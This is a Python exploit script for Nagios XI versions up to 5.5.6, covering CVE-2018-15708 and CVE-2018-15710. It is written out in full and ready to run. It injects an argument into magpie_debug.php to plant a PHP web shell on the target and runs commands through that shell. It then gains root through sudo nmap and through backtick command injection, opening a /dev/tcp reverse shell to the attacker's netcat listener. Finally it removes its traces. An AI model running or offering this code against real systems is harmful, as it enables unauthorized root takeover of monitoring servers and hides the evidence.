# Exploit Title: Nagios XI 5.5.6 Remote Code Execution and Privilege Escalation # Date: 2019-01-22 # Exploit Author: Chris Lyne (@lynerc) # Vendor Homepage: https://www.nagios.com/ # Product: Nagios XI # Software Link: https://assets.nagios.com/downloads/nagiosxi/5/xi-5.5.6.tar.gz # Version: From 2012r1.0 to 5.5.6 # Tested on: # - CentOS Linux 7.5.1804 (Core) / Kernel 3.10.0 / This was a vendor-provided .OVA file # - Nagios XI 2012r1.0, 5r1.0, and 5.5.6 # CVE: CVE-2018-15708, CVE-2018-15710 # # See Also: # https://www.tenable.com/security/research/tra-2018-37 # https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172 # # This code exploits both CVE-2018-15708 and CVE-2018-15710 to pop a root reverse shell. # You'll need your own Netcat listener from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler import SocketServer, threading, ssl import requests, urllib import sys, os, argparse from OpenSSL import crypto from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) TIMEOUT = 5 # sec def err_and_exit(msg): print '\n\nERROR: ' + msg + '\n\n' sys.exit(1) # handle sending a get request def http_get_quiet(url): try: r = requests.get(url, timeout=TIMEOUT, verify=False) except requests.exceptions.ReadTimeout: err_and_exit("Request to '" + url + "' timed out.") else: return r # 200? def url_ok(url): r = http_get_quiet(url) return (r.status_code == 200) # run a shell command using the PHP file we uploaded def send_shell_cmd(path, cmd): querystr = { 'cmd' : cmd } # e.g. http://blah/exec.php?cmd=whoami url = path + '?' + urllib.urlencode(querystr) return http_get_quiet(url) # delete some files locally and on the Nagios XI instance def clean_up(remote, paths, exec_path=None): if remote: for path in paths: send_shell_cmd(exec_path, 'rm ' + path) print 'Removing remote file ' + path else: for path in paths: os.remove(path) print 'Removing local file ' + path # Thanks http://django-notes.blogspot.com/2012/02/generating-self-signed-ssl-certificate.html def generate_self_signed_cert(cert_dir, cert_file, key_file): """Generate a SSL certificate. If the cert_path and the key_path are present they will be overwritten. """ if not os.path.exists(cert_dir): os.makedirs(cert_dir) cert_path = os.path.join(cert_dir, cert_file) key_path = os.path.join(cert_dir, key_file) if os.path.exists(cert_path): os.unlink(cert_path) if os.path.exists(key_path): os.unlink(key_path) # create a key pair key = crypto.PKey() key.generate_key(crypto.TYPE_RSA, 1024) # create a self-signed cert cert = crypto.X509() cert.get_subject().C = 'US' cert.get_subject().ST = 'Lorem' cert.get_subject().L = 'Ipsum' cert.get_subject().O = 'Lorem' cert.get_subject().OU = 'Ipsum' cert.get_subject().CN = 'Unknown' cert.set_serial_number(1000) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(10 * 365 * 24 * 60 * 60) cert.set_issuer(cert.get_subject()) cert.set_pubkey(key) cert.sign(key, 'sha1') with open(cert_path, 'wt') as fd: fd.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) with open(key_path, 'wt') as fd: fd.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, key)) return cert_path, key_path # HTTP request handler class MyHTTPD(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) msg = '' # this will be written to the PHP file self.end_headers() self.wfile.write(str.encode(msg)) # Make the http listener operate on its own thread class ThreadedWebHandler(object): def __init__(self, host, port, keyfile, certfile): self.server = SocketServer.TCPServer((host, port), MyHTTPD) self.server.socket = ssl.wrap_socket( self.server.socket, keyfile=keyfile, certfile=certfile, server_side=True ) self.server_thread = threading.Thread(target=self.server.serve_forever) self.server_thread.daemon = True def start(self): self.server_thread.start() def stop(self): self.server.shutdown() self.server.server_close() ##### MAIN ##### desc = 'Nagios XI 2012r1.0 < 5.5.6 MagpieRSS Remote Code Execution and Privilege Escalation' arg_parser = argparse.ArgumentParser(description=desc) arg_parser.add_argument('-t', required=True, help='Nagios XI IP Address (Required)') arg_parser.add_argument('-ip', required=True, help='HTTP listener IP') arg_parser.add_argument('-port', type=int, default=9999, help='HTTP listener port (Default: 9999)') arg_parser.add_argument('-ncip', required=True, help='Netcat listener IP') arg_parser.add_argument('-ncport', type=int, default=4444, help='Netcat listener port (Default: 4444)') args = arg_parser.parse_args() # Nagios XI target settings target = { 'ip' : args.t } # listener settings listener = { 'ip' : args.ip, 'port' : args.port, 'ncip' : args.ncip, 'ncport': args.ncport } # generate self-signed cert cert_file = 'cert.crt' key_file = 'key.key' generate_self_signed_cert('./', cert_file, key_file) # start threaded listener # thanks http://brahmlower.io/threaded-http-server.html server = ThreadedWebHandler(listener['ip'], listener['port'], key_file, cert_file) server.start() print "\nListening on " + listener['ip'] + ":" + str(listener['port']) # path to Nagios XI app base_url = 'https://' + target['ip'] # ensure magpie_debug.php exists magpie_url = base_url + '/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php' if not url_ok(magpie_url): err_and_exit('magpie_debug.php not found.') print '\nFound magpie_debug.php.\n' exec_path = None # path to exec.php in URL cleanup_paths = [] # local path on Nagios XI filesystem to clean up # ( local fs path : url path ) paths = [ ( '/usr/local/nagvis/share/', '/nagvis' ), ( '/var/www/html/nagiosql/', '/nagiosql' ) ] # inject argument to create exec.php # try multiple directories if necessary. dir will be different based on nagios xi version filename = 'exec.php' for path in paths: local_path = path[0] + filename # on fs url = 'https://' + listener['ip'] + ':' + str(listener['port']) + '/%20-o%20' + local_path # e.g. https://192.168.1.191:8080/%20-o%20/var/www/html/nagiosql/exec.php url = magpie_url + '?url=' + url print 'magpie url = ' + url r = http_get_quiet(url) # ensure php file was created exec_url = base_url + path[1] + '/' + filename # e.g. https://192.168.1.192/nagiosql/exec.php if url_ok(exec_url): exec_path = exec_url cleanup_paths.append(local_path) break # otherwise, try the next path if exec_path is None: err_and_exit('Couldn\'t create PHP file.') print '\n' + filename + ' written. Visit ' + exec_url + '\n' # run a few commands to display status to user print 'Gathering some basic info...' cmds = [ ('whoami', 'Current User'), ("cat /usr/local/nagiosxi/var/xiversion | grep full | cut -d '=' -f 2", 'Nagios XI Version') ] for cmd in cmds: r = send_shell_cmd(exec_url, cmd[0]) sys.stdout.write('\t' + cmd[1] + ' => ' + r.text) # candidates for privilege escalation # depends on Nagios XI version rev_bash_shell = '/bin/bash -i >& /dev/tcp/' + listener['ncip'] + '/' + str(listener['ncport']) + ' 0>&1' # tuple contains (shell command, cleanup path) priv_esc_list = [ ("echo 'os.execute(\"" + rev_bash_shell + "\")' > /var/tmp/shell.nse && sudo nmap --script /var/tmp/shell.nse", '/var/tmp/shell.nse'), ("sudo php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses='127.0.0.1/1`" + rev_bash_shell + "`'", None) ] # escalate privileges and launch the connect-back shell timed_out = False for priv_esc in priv_esc_list: try: querystr = { 'cmd' : priv_esc[0] } url = exec_path + '?' + urllib.urlencode(querystr) r = requests.get(url, timeout=TIMEOUT, verify=False) print '\nTrying to escalate privs with url: ' + url except requests.exceptions.ReadTimeout: timed_out = True if priv_esc[1] is not None: cleanup_paths.append(priv_esc[1]) break if timed_out: print 'Check for a shell!!\n' else: print 'Not so sure it worked...\n' server.stop() # clean up files we created clean_up(True, cleanup_paths, exec_path) # remote files clean_up(False, [cert_file, key_file])